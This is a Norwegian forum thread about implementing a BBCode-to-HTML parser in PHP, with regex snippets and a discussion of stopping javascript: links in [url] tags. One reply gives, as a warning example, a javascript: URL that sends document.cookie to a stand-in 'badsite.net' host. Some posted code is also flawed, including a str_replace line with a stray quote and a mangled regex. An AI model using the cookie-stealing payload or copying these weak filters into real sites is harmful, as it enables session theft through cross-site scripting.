Gå til innhold

Hvordan lage BBCode


Anbefalte innlegg

(prøver igjen... må da være mulig å få lagt til et emne her..)

 

og vi prøver igjen!! Beklager alle de tomme emnene, men hvordan skulle jeg kunne vite at den la inn tomme emner i bakgrunnen når den til meg sa det var tekniske problemer og at jeg skulle prøve igjen senere kanskje?? Prøvde igjen senere flere ganger, og da jeg omsider gikk ut var det jo et lass av dem der.. og uten innlegget faktisk

 

men men!!

 

fikk et lite svar i en av dem, før den ble låst sammen med de andre: poenget var ikke lister over bbcode, eller hvordan å bruke det her, men hvordan å implementere det selv med php.

 

har brukt en liten kodesnutt jeg fant på wikipedia til å lage en enkel versjon i mitt lille cms:

<?php

function bbcode2html($strInput) {

return preg_replace(

array(

'/\\[url[\\:\\=]((\\"([\\W]*javascript\:[^\\"]*)?([^\\"]*)\\")|'.

'(([\\W]*javascript\:[^\\]]*)?([^\\]]*)))\\]/ie', '/\\[\\/url\\]/i',

'/\\[b\\]/i', '/\\[\/b\\]/i',

'/\\[i\\]/i', '/\\[\/i\\]/i',

'/\\

/i', '/\\[\/quote\\]/i'

),

array(

'\'<a href="\'.(\'$4\'?\'$4\':\'$7\').\'">\'', '</a>',

'<b>', '</b>',

'<i>', '</i>',

'<blockquote>', '</blockquote>'

),

$strInput

);

}

?>

har utvidet den litt, men lurer på et par ting.

 

1. hvordan man kan få til sånn som de har her med ]liste[ ]*[ ting ]*[ ting til ]/liste[ ? kunne brukt ]ul[ og ]li[ ]/li[ ]ul[ selvfølgelig.. men er nysgjerrig!!

 

2. er det noen grei måte å sikre at alle bbcode tagsene er lukket? sånn at de ikke messer opp resten av siden dersom de mangler en slutt? den jeg har brukt der erstatter jo åpning og slutt hver for seg liksom..

 

3. hvordan henter dem ut urlen i det scriptet ovenfor? hvis jeg fatta det kunne jeg jo istedet for å erstatte de tagsene hver for seg, erstatte ]b[noetekst]b[ med <b>noe tekst</b>, men hvordan overfører jeg den "noe tekst" liksom? vet det har noe med capturing groups å gjøre. men fatter ikke helt hvordan å bruke dem. spesielt ikke i denne preg_replace funksjonen... vet det er noe som heter named capturing groups også. mulig å bruke det her istedet for å måtte telle parenteser for å finne riktig liksom?

Lenke til kommentar
Videoannonse
Annonse

men kan en ikke skrive lister på en linje her også?

 

*teste*

[liste][*]en ting[*]en ting til[/liste]

 

ellers så var jo det et godt forslag da. så sant jeg visste hvordan en hentet ut noe fra en regex.. igjen.. noen som har lyst til å gi meg et enkelt php eksempel på capturing groups? hehe. gjerne named og ikke..

Lenke til kommentar

Hvis du ikke skjønner hvordan du kan *lage* bbcodes, kan jeg vise det enkelt slik:

<?php
$melding = $_POST['melding'];
$melding = str_replace("[b]", "<b>"", $melding); // Ellers var det motsatt - <b> kommer før [b] (husker ikke helt)
echo "$melding";
?>

 

Da byttes taggen <b> med , og du får dermed fet skrift. (Et eksempel)

Endret av -Magne-
Lenke til kommentar
Å bruke str_replace for bb koder, er høl i huet.

 

bruk preg_replace. Hvis du bruker str_replace vil hele siden bli fucked hvis man f.eks glemmer å lukke en tag.

8120234[/snapback]

 

 

men nå prøver man jo alltid å lukke tag'en etter seg

Lenke til kommentar
Å bruke str_replace for bb koder, er høl i huet.

 

bruk preg_replace. Hvis du bruker str_replace vil hele siden bli fucked hvis man f.eks glemmer å lukke en tag.

8120234[/snapback]

 

 

men nå prøver man jo alltid å lukke tag'en etter seg

8120351[/snapback]

 

Nå håper jeg at du vet like godt som meg at det fins alltid folk som vil ødelegge eller prøve hvertfall. preg_replace her er overlegent bedre i forhold til str_replace.

Lenke til kommentar

jupp, bruker preg_replace. og har justert den til å kun bytte ut hele tags. for eksempel så erstatter jeg '/\\(.+)\\[\/b]/i' med '<strong>$1</strong>'.

 

men jeg lurer litt på hvordan jeg skal få til taggene. altså.. jeg har fått de til liksom, men de burde jo beskyttes mot javascript og sånt. så en ikke kan skrive [ url=javascript:alert("go away!")] eller sånt..

 

vil man kunne gjøre noe særlig skadelig med javascript dersom man ikke tillater " i url'en?

Endret av Tussi_qwerty
Lenke til kommentar
jupp, bruker preg_replace. og har justert den til å kun bytte ut hele tags. for eksempel så erstatter jeg '/\\(.+)\\[\/b]/i' med '<strong>$1</strong>'.

 

men jeg lurer litt på hvordan jeg skal få til taggene. altså.. jeg har fått de til liksom, men de burde jo beskyttes mot javascript og sånt. så en ikke kan skrive [ url=javascript:alert("go away!")] eller sånt..

 

vil man kunne gjøre noe særlig skadelig med javascript dersom man ikke tillater " i url'en?

 

Du må nok finne en måte og fjerne javascript: på. Eksempel på javascript uten '':

javascript:var t = /Go away/;alert(t.source);
javascript:var t=/http:\/\/www.badsite.net?cookie=/;window.location=t.source+document.cookie;

Lenke til kommentar

hva med denne?

 

\[ url=http://\"(http://%5b^\"]*)\"](.+)\[ /url]

 

den vil godta kun url'er som starter med http:// sant? noe en får gjort med javascript da? den lar en heller ikke avslutte med " og starte på noe nytt som onclick eller no sånt..

Endret av Tussi_qwerty
Lenke til kommentar

kom med en da :)

 

poenget er at jeg helst kun vil bruke kode jeg forstår, og helst har skrevet selv (vil lære). og noen av de kompliserte url matche greiene forstår jeg ikke litt av en gang. dvs, forstår litt, men så faller jeg av igjen..

Lenke til kommentar
  • 1 måned senere...

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...